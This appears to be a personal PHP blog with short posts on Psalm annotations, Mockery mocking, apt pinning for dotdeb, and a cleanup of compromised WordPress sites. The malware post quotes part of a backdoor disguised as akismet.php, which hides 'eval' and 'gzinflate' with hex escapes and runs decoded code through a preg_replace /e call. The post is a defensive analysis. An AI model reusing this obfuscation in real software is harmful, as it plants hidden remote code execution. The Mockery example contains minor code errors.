PHP psalm annotations

This is more of a note for myself, as I keep forgetting the syntax. See also https://github.com/vimeo/psalm and

List of Arrays

Given an 2d array like :

[
   [ 'name' => 'Pickle', 'age' => 4 ],
   [ 'name' => 'David', 'age' => 42 ],
   [ 'name' => 'Sooty', 'age' => 13 ],
]

PHP code that expects a data structure in that same shape can use an annotation like :

/**
 * @psalm-param list<array{name: string, age: int}>
 */

Alternatively that can be used on a @psalm-return ….

Fixed List of Possible Things

If you have a fixed list of stringy things being returned you might have :

/**
 * @psalm-return 'Foo'|'Bar'|'Baz'
 */

Hello (again) world

I don’t blog very often.

I should probably stop bothering with the automated twitter compilations.

In other news, some legacy PHP code I look after had this :

<?php
// ...
require('#something.inc.php');

Yes, that’s including a file name that starts with a ‘#’ … which while it’s a clever idea, it’s also a pain in the bum to edit in Vim etc all the time.

Mockery (test doubles/mocking dependencies)

[This is a relatively old post I think I forgot to publish….]

Previously, I’d only used PHPUnit’s mock implementation; however lately I’ve been exposed to Mockery.

While they both achieve broadly the same result (at least from my point of view), here’s an example of how to mock dependencies with Mockery.

Class to test:

class TestMe {
    private $db;
    public function __construct(PDO $db) {
        $this->db = $db;
    }

    public function doesSomethingImportant(array $data) : bool {
        $stmt = $this->db->prepare("UPDATE my_table SET field2 = :field2 WHERE field1 = :field1");
        return $stmt->execute(['field1' => $data['field1'], 'field2' => $data['field2']);

    }
}

And to test ….

....
use Mockery as m;
class MyTest extends \PHPUnit\Framework\TestCase {
    public function tearDown() {
        m::close();
        parent::tearDown();
   }
    public function testDoesSomethingImpotant() {
        $fakePdo = m::mock(\PDO::class);
        $stmt = m::mock(\PDOStatement::class);
        $stmt
           ->shouldReceive('execute')
           ->withArgs(['field1' => 'hello', 'field2' => 'world'])
           ->once()
           ->andReturn(true);
        $fakePdo
           ->shouldReceive('prepare')
           ->withArgs(['UPDATE my table SET field2 = :field2 WHERE field1 = :field1'])
           ->once()
           ->andReturn($stmt);

        $testClass = new TestMe($fakePdo);
        $this->assertTrue(
            $testClass->updateSomething(['field1' => 'hello', 'field2' => 'world']);
    }
}

So that’s all well and good, and with a little imagination you can see how a method that does some calculation could be tested to ensure it does the calculation correctly and performs the appropriate database query. It obviously requires you inject all dependencies in to the class (else you can’t pass in the appropriate mocks!)

While this test is isolated from the underlying database, it doesn’t ensure you code will work – what if someone’s changed the database schema – your test will still (incorrectly) pass …

You can also create ‘fake’ errors throughout your code which might help give you a higher code coverage score 🙂

$pdo = m::mock(PDO::class);

$pdo->shouldReceive('prepare')
    ->withArgs(['bad sql'])
    ->andThrow(PDOException::class);

$pdo->shouldReceive('prepare')
    ->withArgs(['whatever good sql'])
    ->once()
    ->andReturn($stmt);

$pdo->shouldReceive('prepare')
    ->withArgs(['more good sql'])
    ->once()
    ->andReturn($stmt);
....

Random wordpress malware

A customer’s server was compromised ages ago with lots of lots of WordPress malware.

The developers are now on top of it, thanks to a combination of :

* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT and of course logging attempts)

Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.

However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.

So, behold /wp-content/plugins/akismet.php (so believable file name)

Random interesting contents below:

/**
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @id : c78fb310d8ec1daaba40e84241bc4d42dc
 */

/** The descriptions for theme files. */

$hash = "ff6fd53c4b437772493471d68799f69d";
$search = '';
$wp_file_descriptions = array(
        'index.php' =>  'Main Index Template',
        'style.css' =>  'Stylesheet',
        'editor-style.css' =>  'Visual Editor Stylesheet',
        'editor-style-rtl.css' =>  'Visual Editor RTL Stylesheet',
        'rtl.css' =>  "\x65val.gz"."in\x66late",
        'comments.php' =>  'Comments',
...

for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2)
$search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2);

$wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);

Note:

0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.

The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.

dotdeb – apt package pinning

As of last night, Debian Security released PHP 5.4.44 for Wheezy. Wheezy shipped with PHP 5.4.12 or something like that.

DotDeb is currently on 5.4.43, and if you’ve been using it based on the assumption that it has a newer version of a package over Debian, then an upgrade will leave your PHP install in a mess (e.g. no php5-gearman or php5-imagick).

To fix this, the following in e.g. /etc/apt/preferences.d/dotdeb will help :

Package: *
Pin: origin packages.dotdeb.org
Pin-Priority: 1001

This should make apt choose dotdeb packages over Debian, even if Debian contains a newer version.

i.e. stop apt relying on just the package version number, and previously dotdeb always had a higher one.